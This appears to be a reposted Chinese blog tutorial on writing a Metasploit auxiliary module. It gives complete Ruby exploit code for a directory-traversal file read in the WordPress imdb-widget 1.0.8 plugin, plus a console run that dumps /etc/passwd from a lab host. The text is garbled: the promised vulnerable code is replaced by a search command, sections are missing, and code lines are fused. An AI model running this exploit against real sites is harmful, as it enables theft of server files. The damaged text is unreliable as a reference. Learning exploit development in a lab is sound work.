0412-Metasploit module开发入门篇

# Metasploit module开发入门篇

0x00 概述
——-

* * *

Metasploit——渗透测试神器,相信大家应该都用过或听过,drops里也有很多白帽子写过相关的文章,介绍如何使用Metasploit。使用过Metasploit的同学应该知道,Metasploit Framework是高度模块化的,即框架是由多个module组成,我们除了可以使用已有的 module,还可以自行编写module来满足自己的需求,模块化使得框架具有很好的可扩展性,这也是为什么Metasploit Framework这么受欢迎的原因之一。

看了看drops之前的文章,好像没人写过关于如何编写 Metasploit Module,刚好最近在捣鼓Metasploit,顺便复习下快遗忘的ruby,记录下自己学习的过程。

因为是入门篇,所以这里以一个非常简单WordPress Plugin的任意文件读取漏洞作为例子,搭建环境,编写自己的Auxiliary module(辅助模块),然后测试验证,介绍编写自己的 module的步骤和方法。

文中如果有说的不对或不准确的地方,欢迎大家指出~

0x01 漏洞环境
———

* * *

漏洞环境是一个WordPress 插件[imdb-widget](https://wordpress.org/plugins/imdb-widget/)1.0.8版本的任意文件读取漏洞,缺陷代码存在于pic.php,代码:

“`
grep “read” search wordpress

“`

找到如下几个module

“`
auxiliary/scanner/http/wp_dukapress_file_read normal WordPress DukaPress Plugin File Read Vulnerability

auxiliary/scanner/http/wp_gimedia_library_file_read normal WordPress GI-Media Library Plugin Directory Traversal Vulnerability

auxiliary/scanner/http/wp_imdb_profile_widget_file_read normal WordPress IMDb Profile Widget Plugin File Read Vulnerability

auxiliary/scanner/http/wp_mobileedition_file_read normal WordPress Mobile Edition File Read Vulnerability

auxiliary/scanner/http/wp_nextgen_galley_file_read normal WordPress NextGEN Gallery Directory Read Vulnerability

auxiliary/scanner/http/wp_simple_backup_file_read normal WordPress Simple Backup File Read Vulnerability

auxiliary/scanner/http/wp_subscribe_comments_file_read normal WordPress Subscribe Comments File Read Vulnerability

“`

这里选择`auxiliary/scanner/http/wp_dukapress_file_read`,具体文件位于`/usr/share/metasploit-framework/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb`

代码如下:

“`
require ‘msf/core’

class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name' => ‘WordPress DukaPress Plugin File Read Vulnerability’,
‘Description’ => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
“DukaPress” version 2.5.2, allowing to read arbitrary files with the
web server privileges.
},
‘References’ =>
[
[‘EDB’, ‘35346’],
[‘CVE’, ‘2014-8799’],
[‘WPVDB’, ‘7731’],
[‘OSVDB’, ‘115130’]
],
‘Author’ =>
[
‘Kacper Szurek’, # Vulnerability discovery
‘Roberto Soares Espreto ‘ # Metasploit module
],
‘License’ => MSF_LICENSE
))

register_options(
[
OptString.new(‘FILEPATH’, [true, ‘The path to the file to read’, ‘/etc/passwd’]),
OptInt.new(‘DEPTH’, [ true, ‘Traversal Depth (to reach the root folder)’, 7 ])
], self.class)

end

def check

check_plugin_version_from_readme(‘dukapress’, ‘2.5.7’)

end

def run_host(ip)

traversal = “../” * datastore[‘DEPTH’]
filename = datastore[‘FILEPATH’]
filename = filename[1, filename.length] if filename =~ /^\//

res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(wordpress_url_plugins, ‘dukapress’, ‘lib’, ‘dp_image.php’),
‘vars_get’ =>
{
‘src’ => “#{traversal}#{filename}”
}
})

if res && res.code == 200 && res.body.length > 0

print_status(‘Downloading file…’)
print_line(“\n#{res.body}”)

fname = datastore[‘FILEPATH’]

path = store_loot(
‘dukapress.file’,
‘text/plain’,
ip,
res.body,
fname
)

print_good(“#{peer} – File saved in: #{path}”)
else
print_error(“#{peer} – Nothing was downloaded. You can try to change the DEPTH parameter.”)
end

end

end

“`

看到这一堆代码,一般人都会有点晕,不知道从那里下手,莫慌,问google,搜索`metasploit write module`,搜索结果第三个,[How to get started with writing an exploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit),里面有一些module结构的说明. 这里对照着给了代码加了些注释:

“`
# 引入msf core 库

require ‘msf/core’

# 继承 Msf::Auxiliary 类

class Metasploit3 < Msf::Auxiliary # 引入三个 module,具体可以查看文档 include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner # 初始化函数 def initialize(info = {}) super(update_info(info, # [Vendor] [Software] [Root Cause] [Vulnerability type] 'Name' => ‘WordPress DukaPress Plugin File Read Vulnerability’,
# 描述
‘Description’ => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
“DukaPress” version 2.5.2, allowing to read arbitrary files with the
web server privileges.
},
# 相关vulnerability 或 exploit的参考
‘References’ =>
[
[‘EDB’, ‘35346’],
[‘CVE’, ‘2014-8799’],
[‘WPVDB’, ‘7731’],
[‘OSVDB’, ‘115130’]
],
# 作者
‘Author’ =>
[
‘Kacper Szurek’, # Vulnerability discovery
‘Roberto Soares Espreto ‘ # Metasploit module
],
‘License’ => MSF_LICENSE
))
# 注册需要参数
register_options(
[
# 要获取的文件路径
OptString.new(‘FILEPATH’, [true, ‘The path to the file to read’, ‘/etc/passwd’]),
# 遍历深度,用于到达根目录,默认7次../
OptInt.new(‘DEPTH’, [ true, ‘Traversal Depth (to reach the root folder)’, 7 ])
], self.class)

end

# 用于支持 check 命令;在具体执行exploit前,检查是否存在漏洞

def check

# 检查dukapress版本,Wordpress module提供
check_plugin_version_from_readme(‘dukapress’, ‘2.5.7’)

end

def run_host(ip)

traversal = “../” * datastore[‘DEPTH’]
filename = datastore[‘FILEPATH’]
filename = filename[1, filename.length] if filename =~ /^\//
# 发送http请求
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(wordpress_url_plugins, ‘dukapress’, ‘lib’, ‘dp_image.php’),
‘vars_get’ =>
{
‘src’ => “#{traversal}#{filename}”
}
})
# 检查响应
if res && res.code == 200 && res.body.length > 0

print_status(‘Downloading file…’)
print_line(“\n#{res.body}”)

fname = datastore[‘FILEPATH’]
# 保存文件
path = store_loot(
‘dukapress.file’,
‘text/plain’,
ip,
res.body,
fname
)

print_good(“#{peer} – File saved in: #{path}”)
else
print_error(“#{peer} – Nothing was downloaded. You can try to change the DEPTH parameter.”)
end

end

end

“`

弄懂大概结构后,我们根据前面的分析,编写自己的module,完成后的代码如下

“`
#

This module requires Metasploit: http://metasploit.com/download

Current source: https://github.com/rapid7/metasploit-framework

#

# 引入msf core 库

require ‘msf/core’

# 继承 Msf::Auxiliary 类

class Metasploit3 < Msf::Auxiliary # 引入三个 module,照搬,具体可以查看文档 include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner # 初始化函数 def initialize(info = {}) super(update_info(info, # [Vendor] [Software] [Root Cause] [Vulnerability type] 'Name' => ‘WordPress IMDb Profile Widget Plugin File Read Vulnerability’,
# 描述
‘Description’ => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
“IMDb Profile Widget” version 1.0.8, allowing to read arbitrary files with the
web server privileges.
},
# 相关vulnerability 或 exploit的参考
‘References’ =>
[
[‘URL’, ‘https://www.exploit-db.com/exploits/39621/’]
],
# 作者
‘Author’ =>
[
‘CrashBandicot @DosPerl’, # Vulnerability discovery
‘blinking.yan ‘ # Metasploit module
],
‘License’ => MSF_LICENSE
))
# 注册需要参数
register_options(
[
OptString.new(‘FILEPATH’, [true, ‘The path to the file to read’, ‘/etc/passwd’]),
OptInt.new(‘DEPTH’, [ true, ‘Traversal Depth (to reach the root folder)’, 7 ])
], self.class)

end

# 用于支持 check 命令;在具体执行exploit前,检查是否存在漏洞

def check

# 检查imdb-widget版本
check_plugin_version_from_readme(‘imdb-widget’, ‘1.0.8’)

end

# 执行exploit

def run_host(ip)

traversal = “../” * datastore[‘DEPTH’]
filename = datastore[‘FILEPATH’]
filename = filename[1, filename.length] if filename =~ /^\//
# 发送读取文件的http请求
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(wordpress_url_plugins, ‘imdb-widget’, ‘pic.php’),
‘vars_get’ =>
{
‘url’ => “#{traversal}#{filename}”
}
})
# 检查响应
if res && res.code == 200 && res.body.length > 0
# 文件不存在
if res.body.include? ‘No such file or directory’
print_error(“#{peer} – Nothing was downloaded. No such file or directory: /#{filename}. Please change the DEPTH parameter.”)
# 文件读取权限问题
elsif res.body.include? ‘Permission denied’
print_error(“#{peer} – Nothing was downloaded. Permission denied: /#{filename}. Please change the DEPTH parameter.”)
else
print_status(‘Downloading file…’)
print_line(“\n#{res.body}”)

fname = datastore[‘FILEPATH’]
# 保存文件
path = store_loot(
‘imdb-widget.file’,
‘text/plain’,
ip,
res.body,
fname
)

print_good(“#{peer} – File saved in: #{path}”)
end
else
print_error(“#{peer} – Http Response Code is not 200 or Plugin is not vulnerable”)
end

end

end

“`

可以看到,改动的地方并不是很多。

因此我们并不需要弄懂所有的类和方法,也可以写出自己的module。

代码中发送http请求部分可以参考:[How to Send an HTTP Request Using HTTPClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient)

0x04 测试Module
————-

* * *

前面提到,msf有专门的目录`~/.msf7/modules/`来存放自己编写的module,这里对照着`auxiliary/scanner/http/wp_dukapress_file_read`,创建目录

“`
mkdir -p ~/.msf7/modules/auxiliary/scanner/http/

“`

将代码保存`~/.msf7/modules/auxiliary/scanner/http/`目录下,文件名为`wp_imdb_profile_widget_file_read.rb`,重启msfconsole,加载自定义module,执行

“`
msfconsole -m ~/.msf7/modules

“`

查看下插件是否已经被load

“`
msf > grep “imdb” search wordpress

auxiliary/scanner/http/wp_imdb_profile_widget_file_read normal WordPress IMDb Profile Widget Plugin File Read Vulnerability

“`

对前面的漏洞环境进行测试,这里wordpress的ip为`192.168.1.191`

“`
msf > use auxiliary/scanner/http/wp_imdb_profile_widget_file_read

msf auxiliary(wp_imdb_profile_widget_file_read) > show options

Module options (auxiliary/scanner/http/wp_imdb_profile_widget_file_read):

Name Current Setting Required Description

DEPTH 7 yes Traversal Depth (to reach the root folder)

FILEPATH /etc/passwd yes The path to the file to read

Proxies no A proxy chain of format type:host:port,type:host:port

RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes The target port

TARGETURI / yes The base path to the wordpress application

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host

msf auxiliary(wp_imdb_profile_widget_file_read) > set rhosts 192.168.1.191

rhosts => 192.168.1.191

msf auxiliary(wp_imdb_profile_widget_file_read) > run

[*] Downloading file…

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false

systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false

[+] 192.168.1.191:80 – File saved in: /root/.msf7/loot/20160403132842default192.168.1.191imdbwidget.file266865.txt

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(wp_imdb_profile_widget_file_read) >

“`

成功读取到/etc/passwd,测试成功~

0x05 结论
——-

* * *

文章主要介绍的是如何去编写module的方法,有的地方可能写的不是很详细。总结来说就是: 在接触一个新的东西时,参考别人已经写好的东西,然后修修改改,是一种很好快速入门的方法。

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容